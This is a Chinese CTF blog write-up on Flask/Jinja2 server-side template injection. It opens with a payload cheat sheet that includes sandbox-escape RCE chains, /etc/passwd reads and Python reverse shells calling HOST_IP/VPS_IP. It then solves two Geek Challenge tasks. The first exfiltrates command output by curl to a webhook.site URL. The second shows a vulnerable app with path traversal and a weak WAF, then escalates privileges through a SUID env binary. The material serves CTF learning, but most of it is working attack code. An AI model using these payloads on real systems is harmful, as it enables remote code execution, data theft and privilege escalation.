ctfer

来自geek的SSTI例题

2026-11-18 #dev#log

首先贴几个常见的payload(来自SSTI 注入 | Hello CTF)我觉得大家真得谢谢探姬。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# 命令执行_eval
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endfor %}

# 命令执行_os.py
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'os' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['os'].popen('ls /').read() }}
{% endif %}
{% endfor %}

# 命令执行_popen
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'popen' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['popen']('ls /').read() }}
{% endif %}
{% endfor %}

# 命令执行__frozen_importlib.BuiltinImporter
{% for x in [].__class__.__base__.__subclasses__() %}
{% if 'BuiltinImporter' in x.__name__ %}
{{ x["load_module"]("os")["popen"]("ls /").read() }}
{% endif %}
{% endfor %}

# 命令执行_linecache
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'linecache' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['linecache']['os'].popen('ls /').read() }}
{% endif %}
{% endfor %}


# 命令执行_exec(无回显故反弹shell)
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'exec' in x.__init__.__globals__['__builtins__']['exec'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
{% endif %}
{% endfor %}

{{().__class__.__bases__[0].__subclasses__()[216].__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}

# 命令执行_catch_warnings
{% for x in [].__class__.__base__.__subclasses__() %}{% if 'war' in x.__name__ %}{{ x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

# catch_warnings 读取文件
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('/app/flag', 'r').read() }}{% endif %}{% endfor %}

# _frozen_importlib_external.FileLoader 读取文件
{% for x in [].__class__.__base__.__subclasses__() %} # {% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'FileLoader' in x.__name__ %}
{{ x["get_data"](0,"/etc/passwd")}}
{% endif %}
{% endfor %}

# 其他RCE
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}

T1-极客大挑战2023-web-klf_ssti

本题进入后如下:

其实笔者还扫过一次路由,有用的只有一个robots.txt,实际上也只是提示了/hack这个路由,klf出题人!(

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<h1>给女神表白,被拒绝了,女神骂我klf,呜呜呜</h1>
<h1>klf是什么意思啊,呜呜呜女神肯定不会骂我的,klf是keep in Love嘛</h1>
<h1>肯定是这样的呜呜呜,女神肯定不会骂我的</h1>
</body>

<img src="[https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/klf_ku..jpg](https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/klf_ku..jpg)" alt="g">
<!-- 我好像藏了东西你找得到嘛klf-->
<!--/hack?-->
</html>

上网查了下,klf是个粤语区的文明用语,大家都是klf!(×
根据提示访问/hack,带了个?,看上去试提示接下来的提示要作为参数(后知后觉版本)

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<h1>啊不,klf原来是这个意思,不可能女神不可能骂我的!</h1>
<h1>我不信,就算是klf我也绝对比你们这群klf好,就算是klf我也是最好的那个,这样女神就会回头看我了呜呜呜</h1>
</body>
</html>
<!--klf?-->
<!-- 想要flag?那你得知道klf是什么意思吧,你个klf -->

<!-- 呜呜呜我不是klf……(这句话是可怜的笔者自己加的) -->

看上去应该是klf这里存在注入点,先尝试探针{{7*7}},发现回显一个✌图标,然后试了诸如{%print(7*7)%}这样的命令注入等等,发现始终只有这个黄豆😡,加上注释里头的:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>klf</title>
</head>
<body>
<h1>klf别想</h1>
</body>
<img src="[https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/VOMWQXJXWEEO$%5DS2%7DKYK7%25T.jpg](https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/VOMWQXJXWEEO$%5DS2%7DKYK7%25T.jpg)" alt="g">
<!--好像成功了?-->
</html>

看这个也不知道成没成功,不知道是不是撞上WAF了。思索无果后搜索WP,最后感觉应该单纯是一个无回显SSTI。但是无回显归无回显,SSTI的精髓,即沙箱逃逸和RCE,仍然是有效的:

W1:
找一个webhook站,进行oob外带。这里选用https://webhook.site/进行外带,随便使用一个逃逸链尝试注入:

1
/hack/?klf={{lipsum.__globals__.os.popen('curl https://webhook.site/d1ae6ff4-2fa9-4caa-8a3f-8f3244922d45/?data=$(id)').read()}}

事实证明本题没有任何的waf,笔者直接把这一串发出来都没事(),得到回显是root身份。于是按理来说,ls ls cat就可以读到flag了。但是截止笔者写这题的时候,这样做至少在uutool和webhook公益站上,回显的信息会被截断致使无法做题。下面给出第二种方法。(参考极客大挑战2023-web-klf_ssti | E13v3n’s Blog,感谢eleven大人❤️)

W2:
第一种方法是在容器能够出网的情况下进行oob外带,但是如果容器不能出网,可以采用直接写入静态文件再读取的方法。(回显一致不代表一定被WAF,也不代表没有RCE)从而直接把shell的回显写入用户可读可写的文件夹里头。这里采用wp中的目录static。

对于static的用途:Web 应用可访问的静态目录(如 /app/static/),一般可以通过浏览器直接访问。故此使用它。

1
/hack?klf={{lipsum.__globals__.os.popen('ls -la / >> static/probe.txt').read()}}

返回结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
total 84
drwxr-xr-x 1 root root 4096 Nov 18 12:40 .
drwxr-xr-x 1 root root 4096 Nov 18 12:40 ..
drwxr-xr-x 1 root root 4096 Nov 18 12:40 app
drwxr-xr-x 1 root root 4096 Dec 21 2021 bin
drwxr-xr-x 2 root root 4096 Dec 11 2021 boot
drwxr-xr-x 5 root root 360 Nov 18 12:40 dev
drwxr-xr-x 1 root root 4096 Nov 18 12:40 etc
drwxr-xr-x 2 root root 4096 Dec 11 2021 home
drwxr-xr-x 1 root root 4096 Dec 21 2021 lib
drwxr-xr-x 2 root root 4096 Dec 20 2021 lib64
drwxr-xr-x 2 root root 4096 Dec 20 2021 media
drwxr-xr-x 2 root root 4096 Dec 20 2021 mnt
drwxr-xr-x 2 root root 4096 Dec 20 2021 opt
dr-xr-xr-x 7534 root root 0 Nov 18 12:40 proc
drwx------ 1 root root 4096 Oct 19 2023 root
drwxr-xr-x 3 root root 4096 Dec 20 2021 run
drwxr-xr-x 1 root root 4096 Dec 21 2021 sbin
drwxr-xr-x 2 root root 4096 Dec 20 2021 srv
dr-xr-xr-x 13 root root 0 Oct 15 04:06 sys
drwxrwxrwt 1 root root 4096 Oct 19 2023 tmp
drwxr-xr-x 1 root root 4096 Dec 20 2021 usr
drwxr-xr-x 1 root root 4096 Dec 20 2021 var

对于python这种,一般flag会在app里头,进去读一下:

1
/hack?klf={{lipsum.__globals__.os.popen('ls -la /app >> static/ret1.txt').read()}}
1
2
3
4
5
6
7
8
9
total 40
drwxr-xr-x 1 root root 4096 Nov 18 12:40 .
drwxr-xr-x 1 root root 4096 Nov 18 12:40 ..
drwxr-xr-x 3 root root 4096 Sep 1 2023 .idea
-rw-r--r-- 1 root root 273 Sep 17 2023 Dockerfile
-rw-r--r-- 1 root root 222 Aug 31 2023 docker-compose.yml
-rw-r--r-- 1 root root 43 Nov 18 12:40 fl4gfl4gfl4g
drwxr-xr-x 1 root root 4096 Aug 30 2023 hello
-rwxr-xr-x 1 root root 123 Oct 19 2023 replace.sh

看到一个疑似flag的文件,进去读即得flag:
GEEK{75023795-aac1-4733-ab5f-204a2c48354d}

T2-极客大挑战2025-web-ez_read

这题还是需要一些经验和对电波的,笔者看到这个读取目录的界面,只能想到目录穿越读../../../flag.txt,完全不知道还可以在前头的路径找源码…

PART1-打点:

app.py:(…//app.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}


def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")

return payload


@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")


@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))


@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)

try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)


@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))

base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []

filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""

content = None
error = None

if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()

return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)

确认在/profile路由下,存在render_template_string,我们的老朋友SSTI。但是恶臭的出题人强制要求payload为114或者514个字符,并且挡了一堆路径。不过config、url_for、 get_flashed_messages什么的都没有禁。于是可以考虑编写如下payload(其实是抄的极客大挑战 2025 - ez_read | CTF+这篇“照烟”的wp,笔者姑且是记录这篇文章方法,权当总结吧):

1
/profile?name={{(((config|attr('__cl'~'ass__')).__init__)|attr('__glo'~'bals__'))['os'].popen('ls /').read()                  }}

原来空格也能当凑数的用吗()

回显:

1
欢迎:欢迎,bin boot dev entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

flag事实上存在,但是通过ls -la可以发现:

1
-r-------- 1 root root 41 Nov 18 13:19 flag

仅root用户可读。

PART2-提权:

1
/profile?name={{(((config|attr('__cl'~'ass__')).__init__)|attr('__glo'~'bals__'))['os'].popen('sudo -l').read()               }}

sudo -l返回空。

这里的提权感觉和tsctj的一脉相承,可以搜SUID来找等效sudo:

1
{{(((config|attr('__cl'~'ass__')).__init__)|attr('__glo'~'bals__'))['os'].popen('find / -perm -u=s -type f 2>/dev/null').read()                                                                                                                                                                                                                                                                                                                                                                                                 }}

这里凑了514个字符,所以看起来这么长(),总之搜出来发现:

1
2
3
4
5
6
7
8
9
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/local/bin/env

有一个/local下的env,经查/local下一般存放的是用户自己/包管理器额外安装或创建的东西,在本题中也就是作者的小巧思(防蠢工具qaq),拿这个高级文件运行cat即可:

1
{{(((config|attr('__cl'~'ass__')).__init__)|attr('__glo'~'bals__'))['os'].popen('/usr/local/bin/env cat /flag').read()                                                                                                                                                                                                                                                                                                                                                                                                          }}

返回flag:SYC{D0nt_m@ke_w1sdom_awar3_of_Rules_LMAO}

  • 写着写着,突然发现自己跟前有好多好多教材,可惜不能借……不然笔者没道理之后还给这些破书掏钱了()
评论
也许会发生一些好事!
分享

评论